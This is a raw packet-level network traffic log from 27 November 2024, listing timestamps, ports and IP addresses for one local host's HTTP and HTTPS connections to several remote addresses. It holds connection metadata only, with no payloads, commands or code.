Nov 27, 2024 11:14:17.694612980 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:17.694713116 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:17.694713116 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:17.694940090 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.695441961 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:17.702615976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.702821970 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:17.704193115 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:17.824209929 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:18.014194965 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.014221907 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.014267921 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.014364004 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.014388084 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.014425039 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.014659882 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.014765978 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.014857054 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.014895916 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.017143011 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.034028053 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.034080029 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.034122944 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.034157038 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.034194946 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.034209013 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.034507036 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.034507036 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.034682035 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.034713030 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:18.038450003 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:18.038491011 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:18.038522005 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:18.038644075 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:18.039021015 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:18.039037943 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:18.048235893 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:18.048259974 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:18.048499107 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:18.048746109 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:18.048760891 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:18.159554958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:18.159702063 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:18.176464081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:18.176464081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:18.296372890 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:18.296514988 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:18.296525002 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:18.296551943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:18.296747923 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:18.296757936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:18.296787977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:18.458952904 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:18.459074974 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:18.669507027 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.674997091 CET	443	49723	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.686954021 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.686975956 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.687846899 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.687858105 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.688461065 CET	49723	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.688486099 CET	443	49723	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.688833952 CET	49723	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.688838005 CET	443	49723	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.734400034 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.735471010 CET	443	49726	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.742675066 CET	49725	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.742753983 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.743132114 CET	49725	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.743149042 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.747484922 CET	49726	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.747505903 CET	443	49726	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.751672029 CET	49726	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.751677990 CET	443	49726	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.797735929 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.813292027 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.813323021 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:18.813750982 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:18.813759089 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.109486103 CET	443	49723	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.109544992 CET	443	49723	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.109642982 CET	49723	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.109781981 CET	49723	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.109811068 CET	443	49723	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.109828949 CET	49723	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.109837055 CET	443	49723	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.110577106 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.110600948 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.110647917 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.110662937 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.110694885 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.110845089 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.110848904 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.110862970 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.111013889 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.111047983 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.111128092 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.113188982 CET	49729	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.113220930 CET	443	49729	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.113240957 CET	49730	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.113270998 CET	49729	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.113326073 CET	443	49730	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.113408089 CET	49729	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.113420010 CET	443	49729	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.113446951 CET	49730	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.113593102 CET	49730	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.113612890 CET	443	49730	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.155617952 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.155658007 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.156066895 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.156142950 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.157776117 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.157833099 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.166814089 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.166879892 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.187961102 CET	443	49726	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.188036919 CET	443	49726	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.188107967 CET	49726	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.188290119 CET	49726	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.188302994 CET	443	49726	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.188316107 CET	49726	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.188322067 CET	443	49726	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.190792084 CET	49731	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.190815926 CET	443	49731	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.190895081 CET	49731	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.191066027 CET	49731	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.191076994 CET	443	49731	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.192066908 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.192106009 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.192174911 CET	49725	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.192179918 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.192305088 CET	49725	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.192441940 CET	49725	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.192467928 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.192538977 CET	49725	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.192555904 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.195548058 CET	49732	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.195595980 CET	443	49732	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.195652008 CET	49732	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.195905924 CET	49732	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.195913076 CET	443	49732	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.256357908 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.256381035 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.256444931 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.256483078 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.256526947 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.259644985 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.259650946 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.259686947 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.259809017 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.259845018 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.259887934 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.378878117 CET	49733	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.378907919 CET	443	49733	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.378990889 CET	49733	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.379481077 CET	49733	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:19.379496098 CET	443	49733	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:19.500956059 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.620858908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.731194973 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.731220007 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.731281996 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.731281996 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.731288910 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.731347084 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.734251976 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.734276056 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.782010078 CET	443	49706	173.222.162.64	192.168.2.6
Nov 27, 2024 11:14:19.782089949 CET	49706	443	192.168.2.6	173.222.162.64
Nov 27, 2024 11:14:19.813854933 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.813941956 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.817806005 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.817827940 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.818190098 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.818249941 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.818249941 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.818279982 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.873703003 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.873802900 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.876812935 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.876821041 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.877082109 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.877172947 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.877304077 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:19.877327919 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:19.952873945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.952935934 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.953058958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.953105927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.957035065 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.957083941 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.957890987 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.957938910 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.958029032 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.958072901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.966407061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.966464043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.966598034 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.966662884 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.974864006 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.974916935 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.974925995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.974971056 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.983392954 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.983406067 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.983452082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:19.991816044 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:19.991868973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.082794905 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.082856894 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.082890987 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.082935095 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.086797953 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.086853027 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.086879969 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.086925030 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.092330933 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.092391968 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.092643023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.092699051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.100796938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.100858927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.101630926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.101682901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.109467030 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.109481096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.109540939 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.154805899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.154858112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.154867887 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.154921055 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.158900023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.158960104 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.158962965 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.159054995 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.167326927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.167382956 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.167495966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.167535067 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.175822020 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.175879002 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.175921917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.175968885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.184302092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.184360027 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.184402943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.184448957 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.192755938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.192807913 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.192851067 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.192894936 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.201262951 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.201286077 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.201308966 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.201400042 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.212949991 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.213015079 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.213037014 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.213078022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.216597080 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.216650963 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.216727018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.216764927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.223850965 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.223900080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.223910093 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.223951101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.231093884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.231147051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.231190920 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.231235981 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.238331079 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.238387108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.238442898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.238500118 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.284234047 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.284313917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.284328938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.284413099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.287301064 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.287450075 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.287455082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.287563086 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.293525934 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.293546915 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.293615103 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.293615103 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.293615103 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.293730021 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.293921947 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.294013023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.294066906 CET	49728	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.294079065 CET	443	49728	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.294106007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.300281048 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.300448895 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.300473928 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.300641060 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.306930065 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.307024956 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.307221889 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.313585043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.313658953 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.313687086 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.313968897 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.320276976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.320404053 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.320430040 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.320492029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.326947927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.327049017 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.327052116 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.327150106 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.333322048 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.333451986 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.333467960 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.333755970 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.355912924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.356046915 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.356138945 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.357805967 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.357891083 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.358217001 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.361548901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.361728907 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.361871958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.365283966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.365380049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.365406990 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.365694046 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.369009018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.369131088 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.369147062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.369220018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.372749090 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.372900009 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.372901917 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.376415968 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.376437902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.376513004 CET	80	49718	185.215.113.206	192.168.2.6
